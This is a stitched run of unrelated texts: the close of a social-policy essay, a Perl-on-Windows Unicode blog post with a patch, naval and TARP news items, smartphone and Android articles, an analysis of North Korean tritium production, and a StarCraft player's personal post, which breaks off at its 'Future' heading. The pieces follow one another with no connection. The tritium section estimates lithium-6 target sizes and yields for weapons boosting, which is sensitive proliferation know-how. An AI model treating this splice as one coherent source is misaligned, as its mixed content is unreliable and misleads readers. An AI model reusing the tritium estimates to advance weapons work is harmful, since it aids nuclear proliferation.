8. Democracy in the Workplace: Democratic principles should not disappear at the door to our jobs. Adult workers are qualified and competent to participate in decisions on salary scales; on the volume of production; and on the percentage of profits to be paid out in wages, allocated to consultants, reinvested in the business. Such workplace arrangements exist not only in foreign locations such as Mondragon, Spain, but also in the United States. For example, in the 1990s, computer programmers fled rigidly structured corporate bureaucracies like IBM and established small, nonhierarchical start-ups that became the most creative businesses of their time. Their regular, inclusive meetings, held to address all levels of operation, also inspired and incubated new internet product ideas. This is not surprising: dynamic work environments that empower all workers by giving everyone a say, thus engendering mutual respect among workers of different education levels and skill sets, bring forth hard work and a commitment to excellence.
9. Subsidized Cleaning and Laundry Services for Two-Working-Parent Families: Many New York condo buildings offer their affluent residents the option of housecleaning and laundry services. Providing those subsidized services to all would lighten American women’s load and provide employment for thousands.
10. Free High-Quality Public Education from Day Care through College: Cities or states should subsidize highly trained day care personnel for children from birth to four years, for all families above the poverty line. For poor families, the service should be free. Subsidized/free afterschool and summer programs in the arts, science, and sports should be provided for families with children age four and up.
11. Reproductive Education: In the early grades, children could study plant reproduction (as in Sweden) as the first components of a comprehensive reproduction curriculum that continues in an age-appropriate way up through the grades. Pre-teens would learn about human anatomy, human reproduction, and gender and sexual orientation differences. Teens could learn about personal relationships, sexual responsibility, and family planning/birth control. Teens should also learn that the morning-after pill and abortion are reasonable, available options when birth control has failed, but that these options are not intended for use as alternatives to contraception. Such a comprehensive curriculum empowers young people to exercise control over their lives and behave responsibly.
12. Relationship Education: Free courses should be available, beginning in the teen years and throughout life, to individuals wishing to develop skills for relating constructively, responsibly, and empathically to partners, their children, friends, coworkers, and others. Such courses help facilitate people’s healthy connectivity to one another at home and in society, as well as raise consciousness about the harmful effects of sex and gender discrimination.
13. Whole-Family Counseling: Community-based and otherwise accessible counseling centers should be available free of charge to the poor and at low cost to others. Family members would visit these centers to address problems, seek solutions, develop self-awareness, and learn or improve social skills with the guidance of a trained professional.
14. Addiction Counseling: Fortunately, addiction counseling programs already exist in our society (although long waiting lists indicate many more are needed), and as noted earlier, they are quite successful. Twelve-step programs are free and widely available. We do suggest that twelve-step participants be asked to consider what covert role authoritarian-type families and profit-driven industries — for example, the highly advertised liquor, diet supplement, fashion, pharmaceutical, pornography, and junk food industries — might play in encouraging various addictions. These are considerations that Adult Children of Alcoholic and Dysfunctional Families already allows.
In conclusion, I believe that the vision of Adult Children of Alcoholic and Dysfunctional Families (ACA) may be a path toward reaching depressed, confused, and demobilized Americans who are blaming themselves for their lost promise. Progressive groups can learn from Alcoholics Anonymous and even more from ACA’s insistence on listening to people without judgment. We can learn from listening to personal experiences of defeat and shame. Sharing those very experiences of lost hope may transform us. We can learn from our power to connect. Group realization may lead to joint action to change the conditions of despair. Members of Alcoholics Anonymous and ACA choose a sponsor who helps them navigate the way the group works. We all need help to fit in and learn how to learn from each other. We need a vibrant new movement building on the unspoken wisdom that comes from maintaining the conditions of human life, whether those are physical or emotional.
We may save ourselves, each other, and our planet in an inclusive and soulful movement.
[pgbreak]
I have used Perl on Windows for decades without being seriously hampered by any of its past or current limitations. Still, it would be nice to solve some of the issues, if only so I can post cute screenshots.
Here are some problems with Perl and Unicode on the command line in Windows.
1. Can't pass interesting characters to perl on the command line
You can't pass characters that are outside of the Windows code page to perl on the command line. It doesn't matter whether you have set the code page to 65001 and use the -CA command line argument to perl : Because perl uses main instead of wmain as the entry point, it never sees anything other than characters in the ANSI code page.
For example:
$ chcp 65001 $ perl -CAS -E "say for @ARGV" şey sey
That's because ş does not appear in CP 437 which is what my laptop is using. By the time it reaches the internals of perl , it has already become s .
On the other hand,
$ perl -CAS -E "say for @ARGV" ünür Malformed UTF-8 character (unexpected end of string) in say at -e line 1. �n�r
because ü does appear in CP 437 so it remains intact. But then we lied, the command line is not UTF-8 encoded.
This "works":
$ perl -CS -E "say for @ARGV" ünür ünür
but not for the right reasons.
2. Can't use interesting characters in perl one-liners
For example:
$ perl -Mutf8 -CS -E "say 'şey'" sey
Again, by the time perl sees the source of the one-liner, it is too late for -Mutf8 .
3. Can't use interesting characters in script names
For the same reason:
$ type şey use v5.24; use utf8; say 'şey'; $ perl şey Can't open perl script "sey": No such file or directory
This one comes with the added caveat that even if perl did get the name of the file right, it would still not be able to run the script because it would be using the ANSI API which would once again not be able to deal with characters outside of the current code page.
4.a. Can't access environment variables with interesting characters in their names;
4.b. Can't access values of environment variables if they contain intersting characters
For example:
$ set iş=kârlı $ set hava=karlı $ echo %iş% kârlı $ echo %hava% karlı $ type t.pl use v5.24; use utf8; say $ENV{$_} for qw(iş hava); $ perl t.pl karli
So, business is profitable, and the weather is snowy, but we can't look up $ENV{iş} and the value of $ENV{hava} is misspelled.
5. Can't read lines containing interesting characters from the console
For example:
$ perl -e "print while <>" hava yağmurlu mu karlı mı olacak? hava yagmurlu mu karli mi olacak?
Depending on your Windows version, this script may terminate prematurely.
6. Using standard Perl functions, interacting with data files with interesting characters in their names is weird
perl tries to access files using their short names which doesn't work if you have disabled short name creation. Even if it does, it's ugly
$ dir ... 2017-02-17 09:45 AM 38 şey $ perl -E "opendir $d, '.'; say for grep !/^\./, readdir $d" EY61AE~1
This one is not a huge problem, because one can use Win32::LongPath to deal with the issue.
In fact, none of these are huge problems: I have done useful work with Perl on Windows for decades despite the occasional glitch.
However, they are things I thought I should make some effort to fix some day. After I fixed Perl6's Unicode issues on the command line in Windows, I felt slightly guilty that I had not given Perl the same TLC. Maybe "some day" has arrived.
The easiest to fix among the problems I mentioned above is the case of command line arguments, and that's what I am going to start with. I will dig deeper in subsequent posts.
I approached this problem a little sideways: I decided to leverage Perl's support for UTF-8 encoded command line arguments. I just had to modify the arguments before perl 's internals saw them to make sure they were UTF-8 encoded. To try out my idea, I first wrote a wrapper for perl.exe . The wrapper was very simple: It used wmain as its entry point, and constructed a UTF-8 encoded command line argument array with -CA inserted between the first and the second elements to invoke perl.exe . It was ugly, but it worked in the sense that any interesting characters I used in command line arguments made it to the Perl side of things intact.
perl itself comes with a wrapper, runperl.c which becomes perlmain.c during build. This would be the ideal place to transform both the command line arguments and the environment array perl sees before it sets up anything. Basically, the idea is to always run perl with UTF-8 encoded arguments. This keeps any changes we want to make to Perl's internals minimal. Of course, Windows does not have an API for console programs to receive their arguments as UTF-8 encoded strings. Instead, we use wmain as the entry point so we receive the command line arguments and the environment as UTF-16 encoded strings. Then, we create UTF-8 encoded command line argument and environment arrays using standard Windows APIs. The patch is rather straightforward:
diff --git a/win32/runperl.c b/win32/runperl.c index 2157224..9cd3c7c 100644 --- a/win32/runperl.c +++ b/win32/runperl.c @@ -2,6 +2,11 @@ #include <crtdbg.h> #endif +#include <windows.h> +#include <fcntl.h> +#include <io.h> +#include <stdlib.h> + #include "EXTERN.h" #include "perl.h" @@ -21,9 +26,54 @@ int _CRT_glob = 0; #endif +static void +error_exit(const wchar_t *msg) +{ + int err = GetLastError(); + _setmode(_fileno(stderr), _O_U16TEXT); + fwprintf(stderr, L"%s: %d
", msg, err); + exit( err ); +} + +static char * +utf8_encode_wstring(const wchar_t *src) +{ + char *encoded; + int len; + + len = WideCharToMultiByte( CP_UTF8, WC_ERR_INVALID_CHARS, src, + -1, NULL, 0, NULL, NULL); + + encoded = malloc(len + 1); + if (!encoded) { + error_exit(L"Failed to allocate memory for UTF-8 encoded string"); + } + + (void) WideCharToMultiByte( CP_UTF8, WC_ERR_INVALID_CHARS, src, + -1, encoded, len, NULL, NULL); + + return encoded; +} + +static void +utf8_encode_warr(const wchar_t **warr, const int n, char **arr) +{ + int i; + + for (i = 0; i < n; ++i) { + arr[i] = utf8_encode_wstring(warr[i]); + } + + return; +} + int -main(int argc, char **argv, char **env) +wmain(int argc, wchar_t **wargv, wchar_t **wenv) { + char **argv; + char **env; + int env_count; + #ifdef _MSC_VER /* Arrange for _CrtDumpMemoryLeaks() to be called automatically at program * termination when built with CFG = DebugFull. */ @@ -36,6 +86,30 @@ main(int argc, char **argv, char **env) _CrtSetBreakAlloc(-1L); #endif + ++argc; /* we are going to insert -CA between argv[0] and argv[1] */ + argv = malloc((argc + 1) * sizeof(*argv)); + if (!argv) { + error_exit(L"Failed to allocate memory of UTF-8 encoded argv"); + } + + argv[0] = utf8_encode_wstring(wargv[0]); + argv[1] = "-CA"; + argv[ argc ] = NULL; + + utf8_encode_warr(wargv + 1, argc - 1, argv + 2); + + env_count = 0; + while ( wenv[env_count] ) { + ++env_count; + } + env = malloc( (env_count + 1) * sizeof(*env)); + if (!env) { + error_exit(L"Failed to allocate memory for UTF-8 encoded environment"); + } + env[ env_count ] = NULL; + + utf8_encode_warr(wenv, env_count, env); + return RunPerl(argc, argv, env); }
Here's what this change gets us:
$ ..\perl -Mopen=:std,:utf8 -E "say for @ARGV" iş iş
or
$ ..\perl -CAS -E "say for @ARGV" iş iş
Yes, if we are going to use -CS we must actually use -CAS because, apparently, -C flags are not cumulative. That is, it looks like perl -CA -CS is equivalent to perl -CS and not perl -CAS . I have considered whether to make -CAS the default, but that is of doubtful usefulness because it would require everyone using Perl to use the UTF-8 codepage in the console. That is a bigger change than transparently converting anything passed on the command line to UTF-8.
These changes solve only part of the problem:
$ ..\perl.exe şey Can't open perl script "şey": No such file or directory
perl looks for the correct script file, but can't open it because it uses the ANSI functions in the Windows API.
$ ..\perl.exe -Mutf8 -E "say $ENV{iş}" kârlı
But, of course,
$ ..\perl.exe -Mutf8 -Mopen=:std,:utf8 -E "say $ENV{iş}" kârlı
By the way, I know why kârlı gets double UTF-8 encoded, I know what needs to be fixed, but, as the title says, this post is the first in a series, and I will discuss those issues and their fixes in follow-up posts. The most important criterion for me is to change the smallest number of lines possible to get correct behavior. Otherwise, making changes all over the place in such a large codebase with a long history is bound to get one in trouble by breaking things.
The good news is I got very few test failures due to these changes.
I know at least some people think no one ought to write about anything unless they have filed bug reports and sent patches in triplicate with the blue copy stamped and filed with the Open Source Planning Agency or something, but, rest assured, I will do all that ... When I have a complete patch set I can submit with confidence (i.e., when the set of tests failng with the patched perl is identical to the set of tests failing with blead perl ).
Along the way, I am going to share how I arrived at that state.
A naval group of two destroyers, two frigates, and a supply ship left Sanya, Hainan province, on Wednesday for drills analysts said were aimed at boosting combat readiness. Another ­destroyer will join them soon.
Each ship is carrying three helicopters and dozens of special forces troops and will sail to the South China Sea, the east Indian Ocean and the west Pacific, according to state-run CCTV.
Do you have to be an established manufacturer to make a great smartphone? A number of small brands are starting to make big bets that you don't, and they've been turning out some interesting new devices to prove it, often with unlocked prices that well undercut the competition too. That movement got a big boost this week from OnePlus with the reveal of its first smartphone, the One. We're taking a close look at its specs to see how they compare to the devices it's facing off with.
Click above for full specs on all four phones.
Impressive specs at any price
The One — not to be confused with HTC's smartphone line of the same name — appears to be a surprisingly capable smartphone for $299. Inside it is one of Qualcomm's new Snapdragon 801 processors along with 3GB of RAM — both top of the line details. It's not an overly large or heavy smartphone for its size either, though that's assuming that you're OK with a big 5.5-inch display in the first place. It has a 1080p resolution too, so if that's what you're interested in, the phone has just about all of the basic specs you might ask for.
Google's Nexus 5 is the only particularly high-profile example of a lower-cost smartphone that can match the One on specs and get near it on price, selling for an impressively low $349. The Nexus 5's specs are basically a half step behind the One's, and seemingly only because it came out half a year earlier. In fact, perhaps the most interesting difference between the two is their software: while the Nexus 5 is of course using stock Android, the One runs CyanogenMod — a lightly modified version of Android with helpful tweaks and plenty of features for power users. It's an Android modification that you might actually like and that plenty of people have even sought out on their own.
That's part of what makes the Oppo N1 a really interesting competitor to the One as well. For starters, the N1 runs CyanogenMod — in fact, it was the first phone to ship with it. But more intriguingly, one of the people behind the effort to bring CyanogenMod to the N1, Oppo's then-VP Pete Lau, is the founder of OnePlus, making the One something of a spiritual successor to it, if not the phone that he's been really working to make.
The N1 has a larger display and a taller body, and it actually falls behind the One just a bit more than the Nexus 5 does on specs, with only a Snapdragon 600 processor on the inside — by no means bad, but not what's been shipping in recent high-end smartphones. There are also two other major sticking points: First, its price. At $599, it's double the cost of the One. And second, it doesn't include LTE, unlike the One.
Lack of LTE on unlocked phones is still an issue
That leaves a big difference for Oppo to explain. The N1 has a great build quality and some clever hardware features to help, including one that allows its primary camera to rotate 180 degrees so that it can face either forward or backward. OnePlus is promising some really interesting hardware features on the One too, giving it swappable backplates that will come in wood, kevlar, and denim. Even if those don't feel as good as the N1's rigid plastic body, it'll be hard to warrant spending so much on a phone with notably lesser internals. Of course, the One's body will still have to hold its own if it wants to stand out, and we haven't gotten a chance to see how it feels just yet.
OnePlus wasn't the only small manufacturer to reveal a new phone this week either: Blu Products did too, launching the Studio 6.0 HD for $250. Blu has a wide line of smartphones already — including some that pair up better with the One — but the 6.0 HD can give a good impression of what's available from a small smartphone maker at an even lower price. Blu's newest is distinctly midrange, with its hardware including a quad-core processor from MediaTek, 1GB of RAM, and 4GB of storage. It also doesn't include LTE. That said, it has a 6-inch, 1080p display, supports dual SIMs, and has a stylish body, so there's still something there to like.
More than anything, that goes to show just how impressive a $299 phone with high-end specs and LTE is. Google has shown that low-cost and capable smartphones are possible — the question has always been whether a company that relies primarily on hardware profits could get by with prices as low as Google's. We haven't put our hands on OnePlus' One yet, but it's shaping up to be a very impressive effort out the gate.
Last week at I/O, Google unveiled three new implementations of Android designed for specific niches of the budding Internet of Things – wearables, TVs, and automobiles. Several partners have already announced products under Google’s new initiatives: Samsung, LG, and Motorola have Android Wear smartwatches, Sony and Sharp will launch smart TV sets running Android TV next year, and a slew of automakers, led by Audi, will launch models incorporating Android Auto starting later this year.
Amidst the warm reception for Google’s new platforms, one very important detail went relatively unnoticed – OEMs cannot skin and modify Android Wear, Auto, and TV, the way they’ve long done with Android for smartphones and tablets.
Talking to Ars Technica, Android’s head of engineering Dave Burke confirmed that Google will only let OEMs make limited modifications to Android Wear, Auto, and TV products.
[quote qtext=”We want to just have a very consistent user experience, so if you have one TV in one room and another TV in another room and they both say Android TV, we want them to work the same and look the same… The device manufacturers can brand it, and they might have services that they want to include with it, but otherwise it should be the same.” qperson=”” qsource=”” qposition=”center”]
That’s a huge change compared to the massive leeway that Google gave mobile companies back when it was struggling to get Android off the ground. And let’s face it, back then OEM skins were a necessary evil, especially in the Gingerbread days and earlier, when Android was still playing catchup with Apple’s iOS.
With the new multi-screen Android, Google has the upper ground in relationship with OEMs. Android has proved itself insanely successful on smartphones and tablets, and the roles are now reversed. It’s Samsung, LG, HTC, Sony, and their ilk that have to make concessions to get in the Android club.
Having Google at the helm will ensure a more consistent experience for users, and more than that, Google will handle system updates itself. According to Burke, Android TV (and presumably the other new platforms as well) updates will happen seamlessly, the way the Chrome browser updates itself in the background.
The flag flies atop the Treasury Department in Washington, November 18, 2008. REUTERS/Jim Bourg
Representative John Lewis, a Democrat from Georgia who heads the U.S. House of Representatives Ways and Means oversight subcommittee, said 13 bailed-out companies owe the federal government taxes. Two of them owe more than $100 million each.
Lewis said the firms, which he did not name, signed statements at the time of receiving federal aid stating that they owed no federal taxes.
“It is a disgrace. The American people are fed up... and they’re not going to take it anymore,” Lewis told a hearing to examine the oversight of the Troubled Asset Relief Program, or TARP.
Lewis said it raised further questions about the $700 billion program. “Are they signing contracts knowing that they owe taxes by thinking they will not get caught?” he asked.
Lewis’ subcommittee looked at the top 23 TARP recipients and found that more than half owe unpaid federal income taxes. One unidentified company owed $112.75 million in unpaid taxes from 2006 and 2005, according to the subcommittee’s research. Another company that received government funds owed $101.8 million dating back to before 2004.
The Government Accountability Office, the investigative arm of Congress, said the Internal Revenue Service had the enforcement tools needed to recoup unpaid taxes.
“The IRS has a range of responsibilities under the current law to be able to pursue and obtain collection of delinquent taxes,” Gene Dodaro, the GAO’s acting comptroller general, told reporters after the hearing.
So far, more than $300 billion of TARP funds have been disbursed to financial services institutions including Citigroup, Bank of America and giant insurer American International Group.
AIG BONUSES
AIG is now being heavily criticized for accepting up to $180 billion in government funds and then handing out hefty bonuses.
TARP watchdog, Neil Barofsky, told the congressional panel that he plans to launch an audit examining federal monitoring and enforcement of executive compensation restrictions imposed on companies that have received government help such as AIG.
Barofsky, TARP’s inspector general, said his office will be looking closely to ensure bonuses to AIG employees are consistent with AIG’s legal or contractual obligations. “If there are any inconsistencies, we will act aggressively to recover taxpayers’ money,” Barofsky told the panel.
Barofsky said his office has already initiated two audits to bring more transparency to TARP. One audit is looking into the impact of lobbyists or other “outside influences” on the TARP application process and the second audit is looking at the process under which Bank of America received government help.
I’m not going to plug Trust & Verify too much, but if you’re interested in signing up for e-mail delivery, you can do so here. Our next edition, scheduled for July, will continue to feature lead articles on conventional arms control, with an emphasis on Open Skies.
Producing tritium in North Korea
By Hugh Chalmers
2016 has been a busy year for North Korea’s nuclear weapon programme. Having started it off with a bang on 6th January with a fourth nuclear weapon test, the programme has since rattled through a successful test of the Unha space launch vehicle, static tests of both liquid and solid rocket boosters, a static re-entry vehicle test, a few unsuccessful KN-08 flight tests, and a slightly more successful KN-11 flight test (at last count).
While Kim Jong Un has defied expectations and taken his finger off the test button during the Seventh Congress of the Workers’ Party of Korea, its not clear how long he will keep it off. It isn’t easy to predict when North Korea is going to test, and despite North Korea’s newfound love for revealing photographs it still isn’t easy to give precise assessments of North Korea’s current nuclear capabilities.
However, it is easier to guess where their programme is heading. Pyongyang’s claims to have tested a ‘miniaturised hydrogen bomb’ in January are a clear statement of intent. The regime aims to develop an arsenal of sophisticated nuclear weapons that draw upon nuclear fusion to some extent, even if they may have exaggerated their successes to date. To do this, it will need a reliable supply of tritium. Before Kim Jong Un presses another button, now seems like a useful moment of calm to post some (very) wonkish thoughts on North Korea’s tritium supplies (originally published in VERTIC’s Trust & Verify) for discussion here.
About tritium
Tritium is an isotope of hydrogen and a key fuel for nuclear fusion – the process underpinning all ‘hydrogen’ bombs. Like fission, fusion produces a large burst of energy distributed between electromagnetic radiation, subatomic particles, and product nuclei. However, unlike fission, nuclear fusion does not happen spontaneously: atomic nuclei contain positively charged protons that, like identical ends of a magnet, repel rather than attract each other. Light nuclei have to be forced into fusion by heating them to extreme temperatures, such as those found inside an exploding fission weapon.
While some light atomic nuclei can fuse in the correct conditions, one combination of nuclei seems particularly suitable for developing hydrogen bombs. If a deuterium nucleus (consisting of one proton and one neutron) can be made to fuse with a tritium nucleus (consisting of one proton and two neutrons), this ‘DT’ reaction generates a powerful burst of electromagnetic energy along with a highly energetic neutron and a helium-4 (He-4) nucleus.
Once a mixture of deuterium and tritium is brought above a certain threshold temperature, nuclei can fuse at such a rate that the energy released can keep the fuel hot enough to keep the fusion reaction burning. Importantly, this threshold temperature and density can be easily achieved in the core of a fission weapon.
Deuterium is relatively simple to acquire. It is safe to assume that North Korea can extract deuterium from seawater domestically by electrolysis or distillation. Tritium is a different matter. Natural tritium is almost impossible to come by: it is produced very rarely by spontaneous fission of uranium, or by the indirect interaction of cosmic rays and nitrogen. Tritium is also radioactive, decaying into helium-3 at such a rate that any stockpile is reduced by approximately 5.5% every year. North Korea cannot rely on any one-off acquisition of tritium: it needs a reliable and repeatable source of tritium to sustain a boosted arsenal of nuclear weapons.
Importing tritium
North Korea might try to import tritium, which has a number of civilian applications. Pakistan managed to get its hands on tritium and tritium handling facilities via a German company back in the late 1980s, but thankfully the international approach to nuclear trade control has changed significantly since then. The Nuclear Suppliers Group (NSG) have placed tritium and tritium-producing equipment or technologies on its trigger lists. Any transfers of tritium-producing equipment, or anything more than a few milligrams of tritium, should not be authorised without credible assurance that such transfers will not contribute to nuclear proliferation. Thanks to UNSCR 1718, this restriction equates to a blanket ban on all such exports to North Korea.
While North Korea would struggle to acquire tritium from the major commercial exporters in Canada, Switzerland, the US, and France, it might have better luck from noncommercial sources. While Pakistan was illegally importing tritium from Germany, it also reportedly received tritium directly from China. Israel also transferred tritium to South Africa in exchange for Pretoria looking the other way while their yellowcake was used to generate weapons-grade plutonium in Dimona.
(Aside: Nic von Wielligh’s fascinating book The Bomb: South Africa’s Nuclear Weapons Programme explains how South Africa smuggled four five-gram cylinders of tritium from Israel in a tea chest, packed away in hand luggage on a South African Airways commercial flight. What was left of this smuggled stockpile – which South Africa’s programme didn’t even need at the time – was eventually declared to the IAEA in the 1990s and used to make numbers for cinema seats that glow in the dark.)
I find it hard to imagine which country would be both willing and able to export tritium to North Korea. China is a member of the NSG, and seems to be cracking down on sanctioned exports to its neighbour. Any exports of tritium to North Korea are probably a thing of the past. The same could be said for Pakistan, whose bid for recognition with the NSG would be ruined if any past or present tritium exports to North Korea came to light. It is far more likely that North Korea is looking internally for a reliable source of tritium.
Breeding tritium in situ
The most direct method for injecting tritium into a fission weapon is to breed it within the nuclear weapon itself. Lithium-6 deuteride can easily be incorporated into the fissile material core of a nuclear weapon, where it would break down into tritium and helium-4 under the bombardment of neutrons generated by the weapon’s fission reaction. The tritium and deuterium can then fuse, releasing neutrons that can boost fission in the surrounding layers of fissile fuel while simultaneously breeding more tritium from the remaining pockets of lithium-6 deuteride.
This ‘layer cake’/’alarm clock’ approach to hydrogen bombs was explored by current nuclear weapon states as a simple and robust way of incorporating fusion reactions into a fission weapon. However, none of these states settled upon this design as a permanent solution to boosting nuclear weapons. Instead, lithium-6 is reserved only for the second reservoir of fusion fuel in two-stage nuclear weapons. This may be because each atom of tritium bred from lithium consumes a neutron that could otherwise go on to prompt fission. Speed is everything in the detonation of a nuclear weapon, and if neutron consumption by lithium-6 delays the cascading fission reaction, it may cancel out many of the benefits of boosting – such as the opportunity to shed heavy tampers and neutron reflectors from the core.
Given North Korea’s claim that it has ‘proudly joined the ranks of nuclear weapon states’ possessing hydrogen bombs, it seems unlikely that they would settle for an obsolete design eventually discarded by all nuclear weapons states. It seems more likely that North Korea will have to turn to its nuclear reactors to generate tritium.
Tritium breeding in nuclear reactors
Tritium production in the 5MWe gas-graphite reactor
The 5MWe gas-graphite reactor at Yongbyon is the source of nearly all of North Korea’s weapons-usable plutonium, and it may also be the primary source of its tritium too. The UK used a similar type of reactor (the Chapelcross MAGNOX reactor) to generate tritium for its nuclear weapon programme, and it is possible that North Korea is doing the same.
Lithium-6 again plays a central role here. The US currently maintains its tritium stockpile by loading lithium-filled ‘Tritium Producing Burnable Absorber’ (TPBAR) rods into the fuel channels of a commercial pressurised water reactor (PWR) at Watts Bar in Tennessee. TPBARs are removed after an 18-month irradiation cycle, and subsequently broken down in a dedicated handling facility to extract tritium produced by the Li-6 + n → T + He-4 reaction. According to an article in Science & Global Security, a PWR could conceivably generate between one and five kilograms of tritium each year per gigawatt of thermal power, if it was optimised purely for tritium production. If the lithium load were reduced so that the reactor can operate normally, this generation rate would drop to between 30 and 70 grams.
These figures probably don’t apply to gas-graphite reactors, and without more information on how North Korea might construct, load, irradiate, and process any tritium-producing fuel rod substitutes it is hard to estimate how much tritium they could generate. If one assumes that the gas-graphite reactor (with a thermal power of only 20 megawatts) can generate a few grams extractable of tritium per year without interrupting normal reactor operations, North Korea could have generated around ten grams of tritium between 2003 and the 2007 shutdown. 38 per cent of this would have decayed by now.
Tritium production at the IRT reactor
With this in mind, North Korea is likely to look to its pool-type research reactor to bolster its tritium stockpile. The Institute for Science and International Security (ISIS) recently reported that this reactor might be operational, fuelled by domestically enriched and fabricated uranium fuel. If this is correct, the IRT reactor will be an attractive source of tritium. After all, it is designed to irradiate material samples with moderated neutrons to generate medical isotopes.
The IAEA research reactor database suggests that if the IRT is refuelled at its former enrichment level (80% enriched uranium), it can generate a maximum flux of around 8 trillion (8×1012) neutrons per second, over one square centimetre. One cubic centimetre target of lithium-6 (with a density of 0.535 grams per cubic centimetre) could generate four nanograms of tritium for each second it is exposed to this maximum flux. According to ISIS, this reactor typically operates only 60-70% of the year. Over an eight-month operating cycle, this cubic centimetre target of lithium-6 could generate about 80 milligrams of tritium. To generate three grams of tritium (an approximate amount used in modern boosted weapons), North Korea would therefore have to irradiate approximately nineteen grams of lithium-6 over an eight-month operational cycle.
It is important to note here that these estimates do not take into account a number of important factors. First, it is not clear exactly how much lithium North Korea can access, and how much it could load into its reactors. Lithium reacts strongly with water, and any protective alloys (along with space in the channels to keep it cool) will limit the amount of lithium that can be irradiated.
Second, the available flux of neutrons will vary along the different experimental channels, and the reactor may not always be operated at full power. Not all of the IRT’s irradiation channels will pass through the core (where the neutron flux is highest). The IRT-2000 reactor in Bulgaria is similar to the one in North Korea, and only four of its twelve vertical experimental channels pass directly through the reactor core.
Finally, it is not easy to extract tritium once it has been generated. The US tritium production programme had trouble tackling the permeation of tritium from TPBARs, with each tritium-producing rod losing approximately 4.2% of its generated tritium into the reactor. Similar fractions may also be lost when targets are broken down for tritium extraction in hot cell facilities – that North Korea may or may not currently have.
Final thoughts
Nevertheless, the IRT reactor can conceivably generate a significant amount of tritium for North Korea’s nuclear programme. A single target containing nineteen grams of lithium-6 (equivalent to a slug roughly 3cm in diameter and 5cm in length) could potentially generate enough tritium for a single nuclear weapon in one yearly operational cycle.
Assuming that only four of the IRT’s experimental channels are located within the reactor’s core, North Korea would be able to generate enough tritium for twenty ‘DT’ boosted nuclear weapons per year by irradiating five such slugs in each channel. While fuelling the IRT reactor for tritium production would unavoidably divert enriched uranium that could otherwise contribute directly to North Korea’s arsenals, ISIS suggests that the IRT would only require 7.5 kilograms of highly enriched uranium each year to operate such a cycle.
The Past
I have always been a competitor. It's what I live for. With Starcraft I have won past accomplishments. I am a former national champion, I won invitationals in New York, I took 2nd in a Pan American tourney (defeating Major but losing to Fenix in BW) and I have seen the world. In korea I got dominated by Bisu, PJ, Effort and others.. but in bet games I won over 250$ in total with 10$ games vs some of if not all of the best foreigners at that time.. it was awesome.
In SC2 my results are a helluva lot less impressive. A lot would say non-existent.. and they are pretty right. But I regret none of it! My results aren't there not because I "lost passion" or because I don't care.. absolutely the opposite. The difference is no longer am I a teenager sitting at home with everything provided for me. No longer am I a college student skimping by with an easy degree in English but once again having most things paid for by my dad / loans. I now have responsibilities, family, bills and the future to worry about. My day is broken up with numerous tasks / responsibilities that go outside of just playing SC2. In BW we traveled 3-5 times a year. I do that in a month now. In 2010-2011 while these things made sense the urge/drive to still win like I did in BW was there. When I failed to meet my own expectations this became a pressing anxiety.. one that dragged me down into depressive states or panicky places where I would never realize success. All the while I garnered more fans and more expectation.. never once did I brush off the expectation or my fans.. in fact I encouraged them to expect results (as I expected them myself). It was unrealistic and it resulted in mini-breakdowns and a near meltdown. Thankfully I am surrounded by those that love me and I have really smart people in my corner that helped me forge a comfort with my own skin and a reasonable push towards the future.
The Present
I read about a lot of people commenting on my daily life and firmly stating facts about me as if it was commonly known.. and it's disturbing at times. Everything I am told is "ignore the trolls" or "don't read forums" and "just focus on yourself" etc. To a certain extent I do that. I deleted my reddit account, I go there less and less as the negativity and rampant cynicism continues to drag down most of what I read there. I post on TL less now than ever before. I read my twitter but I have a hair trigger to block people.. and you know what? It's sad.. but it has been a good thing to do this. I say it's sad because I firmly believe I want to live in a world where people in my position are at the full disposal of the community.. but it wasn't working. You can't please everyone, you will have enemies/trolls and you WILL get hate on a daily basis. Rest assured this isn't me discounting the good parts.. they far outweigh the bad but you need to hear me right now: The hurt still happens. It's nice to think that I have nothing to complain about. My problems are miniscule and not worth reading about.. but I urge you to consider each man has his issues.. however big or small. I have not been raped but that doesn't make me immune to my own pain, ok?
My day looks like this: I wake up around 8:15am - I let my dog out, feed him and then I fix myself a bowl of cereal and a bottle of water. I read TL/Reddit/Twitter and then I do a 1 hour lesson at 9am. At 10am I go to the gym with Machine/IdrA and we workout for 1.5 hours. I shower when I get home and then I have lunch (early yes, but I don't want to breakup my stream). I then stream from roughly 12:30pm ~ 1pm to 5-6pm. After that I will eat a small snack which is usually a bowl of soup. I then leave to go cast EGMCSL which is roughly 2.5-4 hours long and in extreme cases 5 hours or as short as 2. When I get home I spend time with my girl Anna.. we usually walk the dogs/get mail, sit and talk, watch a show/movie and then go to bed. This makes up my monday-saturday.. nearly to a T. If there is a tourney I will practice at night. If there is a good GSL match (Top Protoss/EG/Foreigner) I will practice/stay up until 3-4 am. Sundays I practice throughout the day, go to church, watch the seahawks and spend more than just an hour or so with Anna.
I am not a full time progamer. I am one of the hosts/casters for EGMCSL. I am the go-to guy for media like announcement videos, sponsor commercials etc.. this happens 3-4 times a week. I captain the squad which basically means I coach em up when I can, I make sure they practice and I consult them on mental health. If people have problems I try and be there for them etc. I do trade shows like PAX, Intel conventions/tours and I work with our manager on lineups, player signings etc (but in no way am I taking credit here.. they do 99% of the heavy lifting I just offer opinions etc). I still practice because I love to AND because it's good for my hosting/casting to be on top of the game in a way no other caster can. I will compete at MLG's / online stuff because I have stubbornly held on to that semblance of competition.
Am I happy with this? Yes. Believe it or not.. I love competing but I also LOVE standing on that stage and hugging Thorzain as he wins. I LOVE entertaining people, I love public speaking.. I love being a part of a show. I LOVE making people laugh.. if I had to give all that up to sit at a desk 12 hours a day and live and die off of results I'd be a wreck. I am earning a good living for my wife (december 2nd) and I am fostering a future for myself. I am in a position where I will always be employed in gaming.. the industry I know and love and I will have a platform to broadcast to my community (You guys!).. what more could I ask for? Do I regret having never won a tourney in SC2? YES.. it kills me.. but I know winning those is a special event not made for everyone. I am not a tourney winner in SC2.. I have come to grips with that. I will still try.. and if I ever win I'ma cry like a baby.. but I find that fun
I have a bunch of console games still in their wrapper. I am a gamer but I feel uncomfortable playing them / I literally don't have the time. For 1-2 hours on a sunday I will dabble.. and I love it. Currently beating Mass Effect 3 (yeah I know). And over the break I hope to check out Dishonored/Assassin's Creed 3. I collect Warhammer 40k models (Have yet to play a game/paint them because of no time). I watch shows on netflix when I eat my meals.. but given that Sons Of Anarchy has been watched I am having a tough time getting through The Walking Dead because if I don't eat I don't really watch a show and THAT show sucks to eat to.
The Future
